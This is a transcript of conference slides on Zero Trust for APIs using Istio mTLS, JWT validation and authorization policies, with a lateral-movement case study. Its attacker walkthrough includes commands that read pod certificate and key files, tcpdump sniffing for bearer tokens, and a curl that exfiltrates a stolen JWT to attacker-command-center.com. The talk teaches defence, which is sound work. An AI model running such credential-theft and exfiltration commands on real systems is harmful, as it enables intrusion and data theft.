Container Days - Zero Trust for APIs: From Edge to Mesh with Istio

Securing APIs at the edge gateway is standard practice, but what happens once that traffic enters your cluster? Too often, internal networks are treated as trusted zones, leaving service-to-service communication vulnerable. This session tackles that security gap head-on, demonstrating how to build a true Zero Trust network for your APIs using Istio.

We will move beyond perimeter security and implement a defense-in-depth strategy directly within the service mesh. Starting with an API call secured by a JWT at the Ingress Gateway, we will follow its journey through the mesh and apply layered security controls.

Transcript

1. 1 Zero Trust for APIs: From Edge to Mesh with Istio Securing modern infrastructure by assuming breach Hannah Olukoye Engineering Manager Mofesola Babalola Site Reliability Engineer
2. 2 Agenda 1. The SRE's Problem: The Flaw in the "Castle-and-Moat" 2. The Solution: Never Trust, Always Verify 3. The Platform: Istio & The Rise of Ambient Mesh 4. Case Study: A real life scenario 5. The Payoff: For both the Manager & Developer in a team
4. 4 The Flaw: Unsecured "East-West" Traffic If a single non-critical service is breached, it has a trusted network path to all other services. Lateral Movement
5. 5 * Assume the network is always hostile. * Assume breach. * Every single request must be verified. The Solution: Never Trust, Always Verify
6. 6 The Platform: Istio Using Istio Ambient Mesh to Enforce Policy
7. 7 Zero Trust: The 3 Pillars ❏ Verifiable Identity Who are you? (Service-to-Service) ❏ Verifiable Authentication Who is the end-user? (User-to-Service) ❏ Explicit Authorization What are you allowed to do? (Policy)
8. 8 Pillar 1: Verifiable Identity (mTLS) Who: Enforced by the Ztunnel. What: Provides every service with a SPIFFE identity. Result: Encrypts all East-West traffic and stops basic IP spoofing. apiVersion: security.istio.io/v1 kind: PeerAuthentication metadata: name: "default" namespace: "istio-system" spec: mtls: mode: STRICT
9. 9 Pillar 2: Verifiable Authentication (JWT) * Who: Enforced by the Waypoint Proxy. * What: Checks the end-user's token (signature, expiration). * Result: App code no longer needs verify_jwt() boilerplate. apiVersion: security.istio.io/v1 kind: RequestAuthentication metadata: name: "jwt-validator" spec: selector: matchLabels: istio.io/gateway-name: "customer-api" jwtRules: - issuer: "https://auth.your-company.com" jwksUri: "https://.../.well-known/jwks.json"
10. 10 Pillar 3: Explicit Authorization * Who: Enforced by the Waypoint Proxy. * What: Declarative, identity-aware access control. * Result: The blast radius is contained. apiVersion: security.istio.io/v1 kind: AuthorizationPolicy metadata: name: "customer-api-lockdown" spec: selector: matchLabels: istio.io/gateway-name: "customer-api" action: ALLOW rules: - from: - source: principals: - "cluster.local/ns/default/sa/frontend-service"
11. 11 The "Sidecar-less" Future: Ambient Mode Ambient Mesh (Sidecar-less) * Ztunnel (L4): A per-node agent. Handles Pillar 1 (Identity & mTLS) for all pods on that node. Very lightweight. * Waypoint (L7): An optional, per-service-account proxy. Handles Pillars 2 & 3 (Authn & Authz) only where you need it. * Secure-by-default, low-overhead, and incrementally adoptable. The Old Way: Sidecars • 1 proxy per pod • Heavy & complex
12. 12 Case Study Anatomy of a Lateral Movement Breach ❖ Frontend-service: Public-facing web app. ❖ Reviews-service: A simple, non-critical service with a Log4Shell vulnerability. ❖ Customer-api: A high-value internal service. It should only be called by the frontend-service. Scenario
13. 13 Case Study Anatomy of a Lateral Movement Breach Scenario ❖ Frontend-service: Public-facing web app. ❖ Reviews-service: A simple, non-critical service with a Log4Shell vulnerability. ❖ Customer-api: A high-value internal service. It should only be called by the frontend-service. 1. Foothold: Attacker gets RCE inside the reviews-service pod via 2. Log4Shell.Recon: Attacker finds 3. Lateral Movement: Attacker runs a simple curl: 4. Failure: In a "castle-and-moat" network, this works. http://customer-api.default.svc.cluster.local. [attacker@reviews-service]$ curl http://customer-api/api/v1/users/export Breach
14. 14 Defense (L4) mTLS: Breach averted Attacker tries the simple curl... [attacker@reviews-service]$ curl http://customer-api/api/v1/users/export curl: (56) Recv failure: Connection reset by peer ❖ The attacker's plain HTTP request was not using mTLS. ❖ Istio's Action: Our cluster-wide PeerAuthentication policy (Pillar 1) requires mTLS for all traffic. ❖ Result: The Ztunnel (L4) on the customer-api's node saw a non-mTLS request and immediately dropped the TCP connection. ❖ Key Point: The application was never touched.
15. 15 Case Study The Sophisticated Attacker Step 1: Inside the Pod [attacker@reviews-service]$ ls -l /var/run/secrets/tokens/ total 0 lrwxrwxrwx 1 root root 15 Nov 17 20:30 istio-token -> ..data/istio-token [attacker@reviews-service]$ ls -l /var/run/secrets/istio/ total 0 lrwxrwxrwx 1 root root 17 Nov 17 20:30 cert-chain.pem -> ..data/cert-chain.pem lrwxrwxrwx 1 root root 11 Nov 17 20:30 key.pem -> ..data/key.pem lrwxrwxrwx 1 root root 15 Nov 17 20:30 root-ca.crt -> ..data/root-ca.crt Istio SideCar
16. 16 Case Study The Sophisticated Attacker Step 2: Using curl The attacker uses the pod's identity to make a valid mTLS request. [attacker@reviews-service]$ curl \ --cacert /var/run/secrets/istio/root-ca.crt \ --key /var/run/secrets/istio/key.pem \ --cert /var/run/secrets/istio/cert-chain.pem \ -H "Authorization: Bearer $TOKEN" \ https://customer-api/api/v1/users/export Istio SideCar
17. 17 Case Study The Sophisticated Attacker Step 3: The Response What the attacker sees... he customer-api app never saw the request. HTTP/1.1 403 Forbidden content-length: 19 content-type: text/plain date: Mon, 17 Nov 2025 20:50:00 GMT server: istio-envoy Istio SideCar
18. 18 How It Was Blocked: The AuthorizationPolicy This is the exact policy that generated that 403 Forbidden. apiVersion: security.istio.io/v1 kind: AuthorizationPolicy metadata: name: "customer-api-lockdown" spec: selector: matchLabels: istio.io/gateway-name: "customer-api" # Applied to the waypoint action: ALLOW rules: - from: - source: # ALLOWED IDENTITY: principals: - "cluster.local/ns/default/sa/frontend-service"
19. 19 The AuthorizationPolicy 1. The Waypoint Proxy received the attacker's valid mTLS request. 2. It extracted the identity: cluster.local/ns/default/sa/reviews-service 3. It checked this policy. The policy only allows the frontend-service principal. 4. Identity did not match. 5. Result: Access Denied.
20. 20 Case Study The Sophisticated Attacker Step 1: Inside the Pod [attacker@reviews-service]$ ls -l /var/run/secrets/tokens/ total 0 [attacker@reviews-service]$ ls -l /var/run/secrets/istio/ total 0 Istio Ambient Mesh
21. 21 Case Study The Sophisticated Attacker Step 2: The Ghost in the Machine The attacker tries to just talk to other services and hopes for the best [attacker@reviews-service]$ curl \ https://customer-api/api/v1/users/export Istio Ambient Mesh
22. 22 Case Study The Sophisticated Attacker What the attacker sees... he customer-api app never saw the request. HTTP/1.1 403 Forbidden content-length: 19 content-type: text/plain date: Mon, 17 Nov 2025 20:50:00 GMT server: istio-envoy Istio Ambient Mesh
23. 23 Case Study The Sophisticated Attacker Step 3: The "Credential Replay" (JWT Theft) What the attacker does... #!/bin/bash TOKEN=$(env | grep -i 'AUTH_TOKEN' | cut -d'=' -f2) if [ -z "$TOKEN" ]; then echo "[!] Token not in env. Attempting to sniff localhost:8080..." # Using tcpdump to grab the 'Authorization: Bearer' header TOKEN=$(timeout 10s tcpdump -ln -i lo -A port 8080 2>/dev/null | grep -oP 'Bearer \K[a-zA-Z0-9\._\-]+' | head -n 1) fi echo "[+] Stolen JWT: ${TOKEN:0:10}..." # 2. Exfiltrate the token to the attacker's server echo "[!] Exfiltrating token to attacker-command-center.com..." curl -X POST -d "stolen_token=$TOKEN" https://attacker-command-center.com/loot Istio Ambient Mesh
24. 24 Case Study The Sophisticated Attacker Again, what the attacker sees... # Attacker tries to use the token from their own machine curl -H "Authorization: Bearer $STOLEN_TOKEN" https://api.your-company.com/internal-admin #And sees this HTTP/1.1 403 Forbidden content-length: 19 content-type: text/plain date: Mon, 17 Nov 2025 20:50:00 GMT server: istio-envoy Istio Ambient Mesh
26. 26 The Payoff • Velocity: Less time writing "boilerplate" logic for network resilience • Reliability: Preventing cascading failures that wake you up at 3 AM • Security: Move from "breach prevention" to "breach containment." • Observability: You can log every allowed and denied request.
28. 28 Thank you Helpful Resources • https://mofesola.me/securing-the-path-from-edge-to-mesh-with-is tio-fa7f4b2b258e • https://www.linkedin.com/learning/kubernetes-service-mesh-with-i stio-25332503/making-microservices-simple-with-istio Hannah Olukoye https://www.linkedin.com/in/hannaholukoye/ Mofesola Babalola https://www.linkedin.com/in/mofesola/